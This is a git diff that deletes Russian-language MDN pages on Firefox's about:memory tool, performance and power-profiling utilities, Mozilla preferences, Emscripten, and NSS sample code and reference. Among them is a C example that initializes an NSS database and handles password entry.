Почти все, что вы видите на странице about:memory, имеет всплывающую подсказку. Наведите курсор на любую кнопку и вы узнаете, что она делает. Наведите курсор на любую измерение и вы увидите его описание.

- -

Базовые понятия измерений

- -

Большинство измерений исчисляются в байтах, однако могут использоваться также количественные и процентные единицы.

- -

Большинство измерений представлены в виде деревьев. Пример:

- -
 585 (100.0%) -- preference-service
- └──585 (100.0%) -- referent
-    ├──493 (84.27%) ── strong
-    └───92 (15.73%) -- weak
-        ├──92 (15.73%) ── alive
-        └───0 (00.00%) ── dead
-
- -

Листья этих деревьев отображают непосредтвенно затраченную память, а узлы представляют суммарные затраты памяти все своих потомков.

- -

Древовидное представление позволяет разбивать измерения на различные категории, подкатегории и т.д., на любую необходиму глубину. Все измерения в пределах одного дерева уникальны и не повторяются.

- -

Пути в дереве описываются с ипользованием '/' в качестве разделителя. Например, preference/referent/weak/dead это путь до листа dead в примере выше.

- -

Поддеревья могут быть свернуты или развернуты при клике по ним. Если вы хотите исследовать интересующее вас поддерево, то будет полезным сначала свернуть его в корневом узле, а потом постепенно раскрывать интересующие вас под-деревья.

- -

Секции

- -

Memory reports are displayed on a per-process basis, with one process per section. Within each process's measurements, there are the following subsections.

- -

Явное выделение памяти (Explicit Allocations)

- -

Эта секция содержит дерево под названием "explicit". Вся затраченная в этом дереве память выделена при помощи функций явного выделения памяти (таких как malloc и new) и функциями выделения без использования кучи (non-heap) (такими как mmap и VirtualAlloc).

- -

Далее представлен пример сессии, в которой открыты вкладки cnn.com, techcrunch.com, и arstechnica.com. Некоторые подеревья были развернуты, другие наоборот скрыты для большей наглядности. 

- -
191.89 MB (100.0%) -- explicit
-├───63.15 MB (32.91%) -- window-objects
-│   ├──24.57 MB (12.80%) -- top(http://edition.cnn.com/, id=8)
-│   │  ├──20.18 MB (10.52%) -- active
-│   │  │  ├──10.57 MB (05.51%) -- window(http://edition.cnn.com/)
-│   │  │  │  ├───4.55 MB (02.37%) ++ js-compartment(http://edition.cnn.com/)
-│   │  │  │  ├───2.60 MB (01.36%) ++ layout
-│   │  │  │  ├───1.94 MB (01.01%) ── style-sheets
-│   │  │  │  └───1.48 MB (00.77%) -- (2 tiny)
-│   │  │  │      ├──1.43 MB (00.75%) ++ dom
-│   │  │  │      └──0.05 MB (00.02%) ── property-tables
-│   │  │  └───9.61 MB (05.01%) ++ (18 tiny)
-│   │  └───4.39 MB (02.29%) -- js-zone(0x7f69425b5800)
-│   ├──15.75 MB (08.21%) ++ top(http://techcrunch.com/, id=20)
-│   ├──12.85 MB (06.69%) ++ top(http://arstechnica.com/, id=14)
-│   ├───6.40 MB (03.33%) ++ top(chrome://browser/content/browser.xul, id=3)
-│   └───3.59 MB (01.87%) ++ (4 tiny)
-├───45.74 MB (23.84%) ++ js-non-window
-├───33.73 MB (17.58%) ── heap-unclassified
-├───22.51 MB (11.73%) ++ heap-overhead
-├────6.62 MB (03.45%) ++ images
-├────5.82 MB (03.03%) ++ workers/workers(chrome)
-├────5.36 MB (02.80%) ++ (16 tiny)
-├────4.07 MB (02.12%) ++ storage
-├────2.74 MB (01.43%) ++ startup-cache
-└────2.16 MB (01.12%) ++ xpconnect
- -

Для того, чтобы понять некоторые детали необходим опыт, но вот некоторые важные моменты, на которые стоит обратить внимание.

- - - -

Как показывает следующий пример, можно измерить потребления памяти некоторыми дополнениями.

- -
├───40,214,384 B (04.17%) -- add-ons
-│   ├──21,184,320 B (02.20%) ++ {d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}/js-non-window/zones/zone(0x100496800)/compartment([System Principal], jar:file:///Users/njn/Library/Application%20Support/Firefox/Profiles/puna0zr8.new/extensions/%7Bd10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d%7D.xpi!/bootstrap.js (from: resource://gre/modules/addons/XPIProvider.jsm:4307))
-│   ├──11,583,312 B (01.20%) ++ jid1-xUfzOsOFlzSOXg@jetpack/js-non-window/zones/zone(0x100496800)
-│   ├───5,574,608 B (00.58%) -- {59c81df5-4b7a-477b-912d-4e0fdf64e5f2}
-│   │   ├──5,529,280 B (00.57%) -- window-objects
-│   │   │  ├──4,175,584 B (00.43%) ++ top(chrome://chatzilla/content/chatzilla.xul, id=4293)
-│   │   │  └──1,353,696 B (00.14%) ++ top(chrome://chatzilla/content/output-window.html, id=4298)
-│   │   └─────45,328 B (00.00%) ++ js-non-window/zones/zone(0x100496800)/compartment([System Principal], file:///Users/njn/Library/Application%20Support/Firefox/Profiles/puna0zr8.new/extensions/%7B59c81df5-4b7a-477b-912d-4e0fdf64e5f2%7D/components/chatzilla-service.js)
-│   └───1,872,144 B (00.19%) ++ treestyletab@piro.sakura.ne.jp/js-non-window/zones/zone(0x100496800)
- -

Моменты, на которые стоит обратить внимание. 

- - - -

Прочие измерения (Other Measurements)

- -

Этот раздел содержит деревья, которые в дереве "explicit" были урезаны и упрощены. Например, в дереве "explicit" все измерения DOM и layout были разбиты по окнам, но в секции Прочие измерения (Other Measurements) они собраны со всего браузера и сгруппированы, что и демонстрирует следующий пример.

- -
26.77 MB (100.0%) -- window-objects
-├──14.59 MB (54.52%) -- layout
-│  ├───6.22 MB (23.24%) ── style-sets
-│  ├───4.00 MB (14.95%) ── pres-shell
-│  ├───1.79 MB (06.68%) ── frames
-│  ├───0.89 MB (03.33%) ── style-contexts
-│  ├───0.62 MB (02.33%) ── rule-nodes
-│  ├───0.56 MB (02.10%) ── pres-contexts
-│  ├───0.47 MB (01.75%) ── line-boxes
-│  └───0.04 MB (00.14%) ── text-runs
-├───6.53 MB (24.39%) ── style-sheets
-├───5.59 MB (20.89%) -- dom
-│   ├──3.39 MB (12.66%) ── element-nodes
-│   ├──1.56 MB (05.84%) ── text-nodes
-│   ├──0.54 MB (02.03%) ── other
-│   └──0.10 MB (00.36%) ++ (4 tiny)
-└───0.06 MB (00.21%) ── property-tables
- -

Но некоторые деревья в этом разделе не включают в себя данные из дерева "explicit". К таким можно отнести "preference-service" из примера выше.

- -

В конце этого раздела находятся еденичные измерения:

- -
    0.00 MB ── canvas-2d-pixels
-    5.38 MB ── gfx-surface-xlib
-    0.00 MB ── gfx-textures
-    0.00 MB ── gfx-tiles-waste
-          0 ── ghost-windows
-  109.22 MB ── heap-allocated
-        164 ── heap-chunks
-    1.00 MB ── heap-chunksize
-  114.51 MB ── heap-committed
-  164.00 MB ── heap-mapped
-      4.84% ── heap-overhead-ratio
-          1 ── host-object-urls
-    0.00 MB ── imagelib-surface-cache
-    5.27 MB ── js-main-runtime-temporary-peak
-          0 ── page-faults-hard
-    203,349 ── page-faults-soft
-  274.99 MB ── resident
-  251.47 MB ── resident-unique
-1,103.64 MB ── vsize
- -

Среди этих измерений некоторые хочется выделить.

- - - -

Система

- -

Этот раздел доступен только на Firefox OS. Он содержит все измерения устройства, полученные от операционной системы. Среди прочего, этот раздел бывает полезен для понимания как устройство использует память здесь и сейчас.

diff --git a/files/ru/mozilla/performance/index.html b/files/ru/mozilla/performance/index.html deleted file mode 100644 index a6f45c1158..0000000000 --- a/files/ru/mozilla/performance/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Быстродействие -slug: Mozilla/Performance -tags: - - TopicStub - - Быстродействие - - Производительность - - Профайлер - - Утечки памяти - - Энергопотребление -translation_of: Mozilla/Performance ---- -

Собранные здесь статьи помогут вам повысить быстродействие, если вы пишете исходный код ядра Mozilla или дополнения к нему.

- - - - - - - - -
-

Документация

- -
-
Reporting a Performance Problem
-
Удобное для пользователя руководство по составлению отчетов по проблемам быстродействия. Среда разработки не требуется.
-
Рекомендации по повышению производительности расширений
-
Гайд по производительности для разработчиков дополнений.
-
Measuring Add-on Startup Performance
-
Гайд для разработчиков дополнений по настройке окружения для тестирования производительности.
-
Школа XUL: Производительность дополнений
-
Заметки для разработчиков дополнений для помощи в избежании ухудшения производительности приложений.
-
Производительность GPU
-
Заметки для профилирования и улучшения производительности при использовании GPU.
-
- -

Просмотреть все страницы с пометками «Производительность»...

- -

Утилиты профилирования и поиска утечек

- -
-
about:memory
-
Страница about:memory - это простейший инструмент для измерения потребления памяти, и первое, с чего следует начинать при анализе. Позволяет выполнить относящиеся к памяти операции, такие как запуск сборщика мусора и сборщика циклических ссылок, сохранение дампа памяти сборщика мусора и сборщика циклических ссылок, сохранение дампа отчета DMD. Страница about:memory построена на верхнем уровне инфраструктуры отчетов памяти Firefox.
-
Профайлер DMD
-
DMD - это инструмент, который находит проблемные места на странице about:memory, и также может выполнять множество видов проверок кучи.
-
areweslimyet.com
-
Сайт areweslimyet.com (аббревиатура AWSY), показывающий потребление памяти различными версиями сборок Firefox.
-
BloatView
-
BloatView для каждого класса показывает статистику по выделенным блокам и ссылкам, а также общую величину объема памяти, подвергшегося утечке, с разбивкой по классам. Используется как часть процесса тестирования в непрерывной интеграции сборок Mozilla.
-
Трассировка и балансировка ссылок
-
Трассировка и балансировка ссылок - это способы отслеживания утечек памяти, вызванных неправильным использованием механизма подсчета ссылок (reference counting). Эти способы медлительны и не просты в применении, поэтому больше подходят для опытных разработчиков.
-
Логи сборщика мусора и сборщика циклических ссылок
-
Логи сборщика мусора и сборщика циклических ссылок могут быть созданы и проанализированы разными способами. Например, они помогут вам понять, почему конкретный объект не был уничтожен и продолжает жить.
-
Valgrind
-
Valgrind - это инструмент, который выявляет различные связанные с памятью проблемы во время выполнения, включая утечки памяти. Valgring используется как часть процесса тестирования в непрерывной интеграции сборок Mozilla, однако покрытие кода тестами ограничено, так как Valgring медлителен.
-
LeakSanitizer
-
LeakSanitizer (аббревиатура LSAN) - похож на Valgrind, но выполняется быстрее, потому что использует статический анализ исходного кода. LSAN является частью процесса тестирования в непрерывной интеграции сборок Mozilla, с множеством тестов, выполняющихся через него как часть тестовых задач инструмента AdressSanitizer (ASAN).
-
Инструменты Apple
-
Apple предоставляет несколько интрументов для Mac OS X, которые выявляют проблемы, аналогичные выявляемым инструментами LSAN и Valgrind. Этот инструмент для выявления "утечек" не рекомендуется использовать с движком SpiderMonkey или браузером Firefox, потому что его запутывают меченые указатели (tagged pointers) и он думает, что объекты текут, когда это не так (подробнее см. ошибку 390944).
-
Leak Gauge
-
Leak Gauge - это инструмент, который может быть использован для выявления определенных видов утечек в движке Gecko, включая те, что связаны с документами, объектами окон, и docshell-ами.
-
LogAlloc
-
LogAlloc - это инструмент, с помощью которого можно получить лог дампа памяти движка Gecko. Этот лог можно впоследствии самостоятельно повторно воспроизвести на дефолтном распределителе памяти браузера Firefox или на другой библиотеке с измененной функцией выделения блоков памяти malloc, включая тестирование других выделенных блоков под точно такой же рабочей нагрузкой.
-
- -

Смотрите также документацию Стратегии и советы по выявлению утечек памяти.

-
-

Профилировка и интрументы анализа производительности

- -
-
Профилировка с помощью профайлера Developer Tools Profiler
-
Профайлер, встроенный в инструментарий разработчика, включает в себя водопад высокого уровня (high-level waterfall), детализированное дерево вызовов, профилировку размещенных блоков памяти и профилировку сборщика мусора, а также графики пламени (flame graphs). Все это доступно на всех платформах и каналах релизов, а также поддерживает удаленную профилировку в операционной системе b2g (Boot to Gecko = Firefox OS) и профилировку браузера Fennec (версия Firefox, адаптированная для смартфонов).
-
- -
-
Профилировка с помощью дополнения Gecko Profiler {{ gecko_minversion_inline("16.0") }}
-
Дополнение Gecko Profiler - хороший инструмент, с которого можно начать исследования.
-
Профилировка с помощью Instruments
-
Как использовать Instruments от компании Apple для профилировки кода Mozilla.
-
Профилировка с помощью Xperf
-
Как использовать утилиту Xperf от компании Microsoft для профилировки кода Mozilla.
-
Профилировка с помощью Zoom
-
Zoom - это профайлер под Linux от создателей профайлера Shark.
-
Измерение производительности с помощью модуля PerfMeasurement.jsm {{ gecko_minversion_inline("2.0") }}
-
Использование модуля PerfMeasurement.jsm для измерения характеристик производительности вашего кода JavaScript.
-
Добавление нового датчика телеметрии
-
Информация о том, как добавить в отчет о производительности системы телеметрии новую характеристику для измерения.
-
Профилировка JavaScript с помощью Shark {{ gecko_minversion_inline("1.9") }}
-
Как использовать профайлер Shark под Mac OS X для анализа кода JavaScript в браузере  Firefox 3.5 и более поздних версиях.
-
Профилировка с помощью Shark
-
Как использовать инструмент Shark от компании Apple для профилировки кода Mozilla.
-
Исследование производительности каскадных таблиц стилей CSS
-
Как выяснить, почему изменение стиля с помощью CSS занимает так много времени.
-
- -

Профилировка энергопотребления

- -
-
Общая информация о профилировке энергопотребления
-
На этой странице предоставлен обзор важной информации, в том числе подробная информация о принципах работы аппаратного обеспечения, о том, какие характеристики можно измерять, какие методы рекомендуется использовать. Эта статья должна стать отправной точкой для тех, кто пока мало знаком с профилировкой энергопотребления.
-
tools/power/rapl (Mac, Linux)
-
tools/power/rapl - это консольная утилита в наборе исходных кодов Mozilla, которая использует интерфейс Intel RAPL для оценки энергопотребления пакета, ядер процессора, графического процессора и оперативной памяти.
-
powermetrics (только для платформы Mac)
-
powermetrics - это консольная утилита, которая собирает и показывает целый ряд характеристик по всем имеющимся процессам и отдельно по каждому процессу, включая использование центрального процессора, графического процессора, и частоты пробуждения потоков процесса.
-
Журналирование TimerFirings (Все платформы)
-
Журналирование TimerFirings - это встроенный механизм записи событий для вывода на экран данных о каждом срабатывании таймера.
-
dtrace (только для платформы Mac)
-
dtrace - это мощный инструмент для профилировки пробуждений потоков процесса.
-
Activity Monitor, меню Battery Status и консольная утилита top (Mac)
-
Эти инструменты являются основными для пользователей Mac, которые рекомендуется изучить в первую очередь.
-
Intel Power Gadget (Windows, Mac, Linux)
-
Intel Power Gadget в режиме реального времени показывает графы для пакетов и RAPL-характеристики процессора. От также дает API, посредством которых эти характеристики могут быть получены.
-
perf (только для Linux)
-
perf - это мощная консольная утилита может измерять множество различных параметров, включая характеристики энергопотребления и пробуждения потоков процесса.
-
turbostat (только для Linux)
-
turbostat - это консольная утилита, которая собирает и показывает разные связанные с энергопотреблением характеристики, делая акцент на показателях по каждому отдельному процессору, таких как частоты и режимы энергопотребления процессора.
-
powertop (только для Linux)
-
powertop - это интерактивная консольная утилита, который собирает и показвает разные связанные с энергопотреблением характеристики.
-
- -

Связанные темы

- -
-
JavaScript, XPCOM, Developing Mozilla, Extensions, Addons
-
-
- -

 

diff --git a/files/ru/mozilla/preferences/index.html b/files/ru/mozilla/preferences/index.html deleted file mode 100644 index 1169ecabf1..0000000000 --- a/files/ru/mozilla/preferences/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Preferences -slug: Mozilla/Preferences -tags: - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Preferences ---- -

The preference system makes it possible to store data for Mozilla applications using a key/value pairing system. These articles provide information about how to use the preference system.

- - - - - - - -
-

Documentation

-
-
Preferences system
-
An introduction to using the preference system in Mozilla.
-
XUL School: Handling preferences
-
The XUL School tutorial chapter on preferences.
-
Mozilla preference reference
-
A reference guide to all Mozilla preferences; currently a work in progress.
-
A brief guide to Mozilla preferences
-
An introductory guide to where preferences are stored and other useful information about the core preference system.
-
Using preferences from application code {{gecko_minversion_inline("6.0")}}
-
Firefox 6 introduced static functions for accessing preferences efficiently from within application code. This API is not available for add-ons, but if you're working on a Gecko application, this API is the preferred way to access preferences.
-
Mozilla networking preferences
-
A guide to key networking-related preferences.
-
Mozilla preferences for uber-geeks
-
A guide to preferences that only truly elite geeks should play with.
-
-

View all pages tagged with "Preferences"...

-
-

Examples

-
-
Code snippets
-
Preference-related code snippets.
-
Adding preferences to an extension
-
How to add preferences to an existing extension.
-
- - -
diff --git a/files/ru/mozilla/preferences/preference_reference/index.html b/files/ru/mozilla/preferences/preference_reference/index.html deleted file mode 100644 index 64af848546..0000000000 --- a/files/ru/mozilla/preferences/preference_reference/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Preference reference -slug: Mozilla/Preferences/Preference_reference -tags: - - Mozilla - - NeedsTranslation - - Preferences - - Reference - - TopicStub -translation_of: Mozilla/Preferences/Preference_reference ---- -

{{ draft() }}

- -

{{LandingPageListSubpages()}}

diff --git a/files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html b/files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html deleted file mode 100644 index d1955ccfda..0000000000 --- a/files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: javascript.options.showInConsole -slug: Mozilla/Preferences/Preference_reference/javascript.options.showInConsole -translation_of: Mozilla/Preferences/Preference_reference/javascript.options.showInConsole ---- -

Русский The preference javascript.options.showInConsole controls whether errors or warnings in chrome code are shown in the Error Console.

- - - -

Values

- -
-
false
-
Only errors and warnings from content code are shown.
-
true (default)
-
Errors and warnings from both chrome and content are shown in the Error Console. -
-

Note: Since the Web Console was introduced in Firefox 4 specifically for debugging content, the default value for this preference has changed to true as of {{Gecko ("2.0")}}.

-
-
-
- -

See also

- -

Setting up extension development environment

diff --git a/files/ru/mozilla/projects/emscripten/index.html b/files/ru/mozilla/projects/emscripten/index.html deleted file mode 100644 index 9c3777e2f5..0000000000 --- a/files/ru/mozilla/projects/emscripten/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Emscripten -slug: Mozilla/Projects/Emscripten -translation_of: Mozilla/Projects/Emscripten ---- -

Emscripten  это транслятор LLVM в JavaScript. Он берёт LLVM байткод (полученный, к примеру, из исходного кода на C++ с помощью Clang) и преобразует его в JavaScript, который можно в дальнейшем  использовать в интернете.

- -
-

Важное замечание: Эта страница содержит краткое описание того, что такое Emscripten. Для этого, чтобы начать работу с Emscripten, воспользуйтесь официальной Emscripten WIki.

-
- -

С помощью Emscripten можно:

- - - -

Emscripten позволяет сделать нативный код доступным для использования в Web: платформа, базирующаяся на стандартах, имеет независимые совместимые реализации и запускается везде, с персональных компьютеров до iPad. 

- -

Используя Emscripten, разработчики C/C++ могут избежать портирования кода вручную на JavaScript - и даже избежать изучения JavaScript вовсе. Web-разработчики тоже выигрывают, так как они могут использовать много тысяч существующих нативных утилит и библиотек на своих сайтах.

- -

Практически любой переносимый код на C и C++ может быть скомпилирован в JavaScript c использованием Emscripten, начиная с высокопроизводительных игр, которые требуют прорисовки графики, проигрывают звуки и загружают и обрабатывают файлы, и заканчивая фреймворками для создания приложений, например, Qt.

- -

Emscripten генерирует быстрый код, его формат по-умолчанию — asm.js, высокооптимизируемое подмножество JavaScript, которое во многих случаях может исполняться со скоростью, близкой к нативной.

- - - - - - diff --git a/files/ru/mozilla/projects/index.html b/files/ru/mozilla/projects/index.html deleted file mode 100644 index c1e43934a2..0000000000 --- a/files/ru/mozilla/projects/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Projects -slug: Mozilla/Projects -tags: - - Mozilla - - NeedsContent - - NeedsTranslation - - Projects - - TopicStub -translation_of: Mozilla/Projects ---- -

{{ draft() }}

-

Below you'll find links to documentation about various Mozilla projects; these are often parts of Firefox or other products, but may also be used in other projects as well.

-

{{ LandingPageListSubpages() }}

diff --git a/files/ru/mozilla/projects/nss/nss_sample_code/index.html b/files/ru/mozilla/projects/nss/nss_sample_code/index.html deleted file mode 100644 index 2bc6d0e4fc..0000000000 --- a/files/ru/mozilla/projects/nss/nss_sample_code/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: NSS Sample Code -slug: Mozilla/Projects/NSS/NSS_Sample_Code -tags: - - Example - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Projects/NSS/NSS_Sample_Code ---- -

NSS Sample Code

- -

The collection of sample code here demonstrates how NSS can be used for cryptographic operations, certificate handling, SSL, etc. It also demonstrates some best practices in the application of cryptography.

- -

Old samples in the process of being replaced.

- -
    -
  1. Sample Code 1: Key Generation and Transport Between Servers
  2. -
  3. Sample Code 2: Symmetric Encryption
  4. -
  5. Sample Code 3: Hashing, MAC
  6. -
  7. Sample Code 4: PKI Encryption
  8. -
  9. Sample Code 5: PKI Encryption with a raw public & private key in DER format
  10. -
  11. Sample Code 6: Persistent Symmetric Keys in NSS database
  12. -
- -


- These are very old examples in need of replacement. See https://bugzilla.mozilla.org/show_bug.cgi?id=490238

- -

You are welcome to download the new samples via:

- -
hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update SAMPLES_BRANCH
-
- -

The new samples: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/New_NSS_Samples

diff --git a/files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html b/files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html deleted file mode 100644 index d3a5983c84..0000000000 --- a/files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html +++ /dev/null @@ -1,255 +0,0 @@ ---- -title: NSS Sample Code Sample_2_Initialization of NSS -slug: >- - Mozilla/Projects/NSS/NSS_Sample_Code/NSS_Sample_Code_Sample_2_Initialization_of_NSS -tags: - - Example - - Mozilla firefox nss init - - NSS - - Security - - Инициализация NSS - - Пример -translation_of: >- - Mozilla/Projects/NSS/NSS_Sample_Code/NSS_Sample_Code_Sample_2_Initialization_of_NSS ---- -

NSS Sample Code 2: Initializing NSS

- -

Эта программа демонстрирует как инициализировать NSS Database. Так же эта программа иллюстрирует обработку пароля.

- -

Пример NSS инициализации и обработки пароля

- -
/* NSPR Заголовки*/
-#include <prthread.h>
-#include <plgetopt.h>
-#include <prprf.h>
-
-/* NSS Заголовки */
-#include <nss.h>
-#include <pk11func.h>
-
-#include "util.h"
-
-// для того, чтобы русские буквы отображались корректно используйте setlocale(LC_ALL,"RUS") в main() :)
-
-/* Вывести сообщение о том, какая база данных используется и выйти */
-static void Usage(const char *progName)
-{
-    fprintf(stderr, "\nИспользуется:  %s -d <dbdirpath> [-p <plainpasswc>]"
-                    " [-f <passwdffile>]\n\n",
-                    progName);
-    fprintf(stderr, "%-15s Укажите путь к каталогу базы данных\n\n",
-             "-d <dbdirpath>");
-    fprintf(stderr, "%-15s Укажите незашифрованный пароль\n\n",
-             "-p <plainpasswc>");
-    fprintf(stderr, "%-15s Укажите файл с паролями\n\n",
-             "-f <plainpasswc>");
-    exit(-1);
-}
-
-/* Инициализация пароля слота*/
-char *InitSlotPassword(PK11SlotInfo *slot, PRBool retry, void *arg)
-{
-   FILE       *input;
-   FILE       *output;
-   char       *p0            = NULL;
-   char       *p1            = NULL;
-   secuPWData *pwdata        = (secuPWData *) arg;
-
-   if (pwdata->source == PW_FROMFILE) {
-       return FilePasswd(slot, retry, pwdata->data);
-   }
-   if (pwdata->source == PW_PLAINTEXT) {
-       return PL_strdup(pwdata->data);
-   }
-
-   /* Открыть терминал (linux)*/
-   input = fopen("/dev/tty", "r");
-   if (input == NULL) {
-       PR_fprintf(PR_STDERR, "Ошибка открытия терминала для чтения\n");
-       return NULL;
-   }
-
-   /* У нас нет паролей, давайте инициализируем базу данных*/
-   PR_fprintf(PR_STDERR,
-       "Введите пароль который будет закодирован вашим ключом.\n"
-       "Пароль должен быть длиннее восьми символов ,\n"
-       "И содержать хотя бы одну букву из алфавита.\n\n");
-
-   output = fopen("/dev/tty", "w");
-   if (output == NULL) {
-       PR_fprintf(PR_STDERR, "Ошибка открытия консоли для записи\n");
-       return NULL;
-   }
-
-   for (;;) {
-       if (p0)
-           PORT_Free(p0);
-       p0 = GetPassword(input, output, "Введите новый пароль: ",
-                                                CheckPassword);
-       if (p1)
-           PORT_Free(p1);
-       p1 = GetPassword(input, output, "Введите пароль повторно: ",
-                                                CheckPassword);
-       if (p0 && p1 && !PORT_Strcmp(p0, p1)) {
-           break;
-       }
-       PR_fprintf(PR_STDERR, "Пароли не совпадают. Попробуйте ещё раз.\n");
-   }
-
-   /* Убрать дубликат пароля из строки*/
-   if (p1) {
-       PORT_Memset(p1, 0, PORT_Strlen(p1));
-       PORT_Free(p1);
-   }
-   fclose(input);
-   fclose(output);
-
-   return p0;
-}
-
-/* Смена пароля */
-SECStatus ChangePW(PK11SlotInfo *slot, char *oldPass, char *newPass,
-                   char *oldPwFile, char *newPwFile)
-{
-    SECStatus rv;
-    secuPWData pwdata;
-    secuPWData newpwdata;
-    char      *oldpw = NULL;
-    char      *newpw = NULL;
-
-    if (oldPass) {
-        pwdata.source = PW_PLAINTEXT;
-        pwdata.data = oldPass;
-    } else if (oldPwFile) {
-        pwdata.source = PW_FROMFILE;
-        pwdata.data = oldPwFile;
-    } else {
-        pwdata.source = PW_NONE;
-        pwdata.data = NULL;
-    }
-
-    if (newPass) {
-        newpwdata.source = PW_PLAINTEXT;
-        newpwdata.data = newPass;
-    } else if (newPwFile) {
-        newpwdata.source = PW_FROMFILE;
-        newpwdata.data = NULL;
-    } else {
-        newpwdata.source = PW_NONE;
-        newpwdata.data = NULL;
-    }
-
-    if (PK11_NeedUserInit(slot)) {
-        newpw = InitSlotPassword(slot, PR_FALSE, &pwdata);
-        rv = PK11_InitPin(slot, (char*)NULL, newpw);
-    }
-    else {
-        for (;;) {
-            oldpw = GetModulePassword(slot, PR_FALSE, &pwdata);
-
-            if (PK11_CheckUserPassword(slot, oldpw) != SECSuccess) {
-                if (pwdata.source == PW_NONE) {
-                    PR_fprintf(PR_STDERR, "Invalid password.  Try again.\n");
-                } else {
-                    PR_fprintf(PR_STDERR, "Invalid password.\n");
-                    PORT_Memset(oldpw, 0, PL_strlen(oldpw));
-                    PORT_Free(oldpw);
-                    return SECFailure;
-                }
-            } else {
-                break;
-            }
-            PORT_Free(oldpw);
-        }
-        newpw = InitSlotPassword(slot, PR_FALSE, &newpwdata);
-
-        if (PK11_ChangePW(slot, oldpw, newpw) != SECSuccess) {
-            PR_fprintf(PR_STDERR, "Не получилось изменить пароль.\n");
-            return SECFailure;
-        }
-        PORT_Memset(oldpw, 0, PL_strlen(oldpw));
-        PORT_Free(oldpw);
-        PR_fprintf(PR_STDOUT, "Пароль изменён успешно!.\n");
-    }
-    PORT_Memset(newpw, 0, PL_strlen(newpw));
-    PORT_Free(newpw);
-    return SECSuccess;
-}
-
-/*
- * Этот пример показывает как инициализировать nss базу данных.
- * Он создаёт новую nss конфигурационную директорию с пустой базой данных
- * и инициализирует базы данных. Так же он показывает методы
- * для обработки пароля.
- */
-int main(int argc, char **argv)
-{
-    PLOptState     *optstate;
-    PLOptStatus    status;
-    SECStatus      rv;
-    SECStatus      rvShutdown;
-    char           *slotname    = "internal";
-    PK11SlotInfo   *slot        = NULL;
-    char           *dbdir       = NULL;
-    char           *plainPass   = NULL;
-    char           *pwFile      = NULL;
-
-    char * progName = strrchr(argv[0], '/');
-    progName = progName ? progName + 1 : argv[0];
-
-    /* Копирование аргументов командной строки */
-    optstate = PL_CreateOptState(argc, argv, "d:p:q:f:g:");
-    while ((status = PL_GetNextOpt(optstate)) == PL_OPT_OK) {
-        switch (optstate->option) {
-        case 'd':
-             dbdir = strdup(optstate->value);
-             break;
-        case 'p':
-             plainPass = strdup(optstate->value);
-             break;
-        case 'f':
-             pwFile = strdup(optstate->value);
-             break;
-        default:
-             Usage(progName);
-             break;
-        }
-    }
-    PL_DestroyOptState(optstate);
-
-    if (!dbdir)
-        Usage(progName);
-
-    PR_Init(PR_USER_THREAD, PR_PRIORITY_NORMAL, 0);
-
-    /* Создать базу данных */
-    rv = NSS_InitReadWrite(dbdir);
-    if (rv != SECSuccess) {
-        PR_fprintf(PR_STDERR, "NSS_Initialize Failed ( не получилось инициализировать nss )");
-        PR_Cleanup();
-        exit(rv);
-    }
-
-    if (PL_strcmp(slotname, "internal") == 0)
-        slot = PK11_GetInternalKeySlot();
-
-    /* Если создаётся новая база данных, инициализируем пароль.*/
-    rv = ChangePW(slot, plainPass, 0, pwFile, 0);
-    if (rv != SECSuccess) {
-        PR_fprintf(PR_STDERR, "Не получилось  сменить пароль\n");
-    }
-
-    if (slot) {
-        PK11_FreeSlot(slot);
-    }
-    rvShutdown = NSS_Shutdown();
-    if (rvShutdown != SECSuccess) {
-        PR_fprintf(PR_STDERR, "Failed : NSS_Shutdown() ( ошибка : выключение nss )\n");
-        rv = SECFailure;
-    }
-
-    PR_Cleanup();
-
-    return rv;
-}
-</plainpasswc></plainpasswc></dbdirpath></passwdffile></plainpasswc></dbdirpath></pk11func.h></nss.h></prprf.h></plgetopt.h></prthread.h>
diff --git a/files/ru/mozilla/projects/nss/reference/fc_login/index.html b/files/ru/mozilla/projects/nss/reference/fc_login/index.html deleted file mode 100644 index 5842a77b23..0000000000 --- a/files/ru/mozilla/projects/nss/reference/fc_login/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: FC_Login -slug: Mozilla/Projects/NSS/Reference/FC_Login -translation_of: Mozilla/Projects/NSS/Reference/FC_Login ---- -

-

-

Name

-

FC_Login() - log a user into a token. -

-

Syntax

-
CK_RV FC_Login(
-  CK_SESSION_HANDLE hSession,
-  CK_USER_TYPE userType,
-  CK_CHAR_PTR pPin,
-  CK_ULONG ulPinLen
-);
-
-

Parameters

-

FC_Login() takes four parameters: -

-
hSession -
{{ mediawiki.external('in') }} a session handle -
userType -
{{ mediawiki.external('in') }} the user type (CKU_SO or CKU_USER) -
pPin -
{{ mediawiki.external('in') }} a pointer that points to the user's PIN -
ulPinLen -
{{ mediawiki.external('in') }} the length of the PIN -
-

Description

-

FC_Login() logs a user into a token. -

The Security Officer (CKU_SO) only logs in to initialize the normal user's PIN. The SO PIN is the empty string. The NSS cryptographic module doesn't allow the SO to log in if the normal user's PIN is already initialized. -

-

Return value

-

FC_Login() returns the following return codes. -

- -

See also

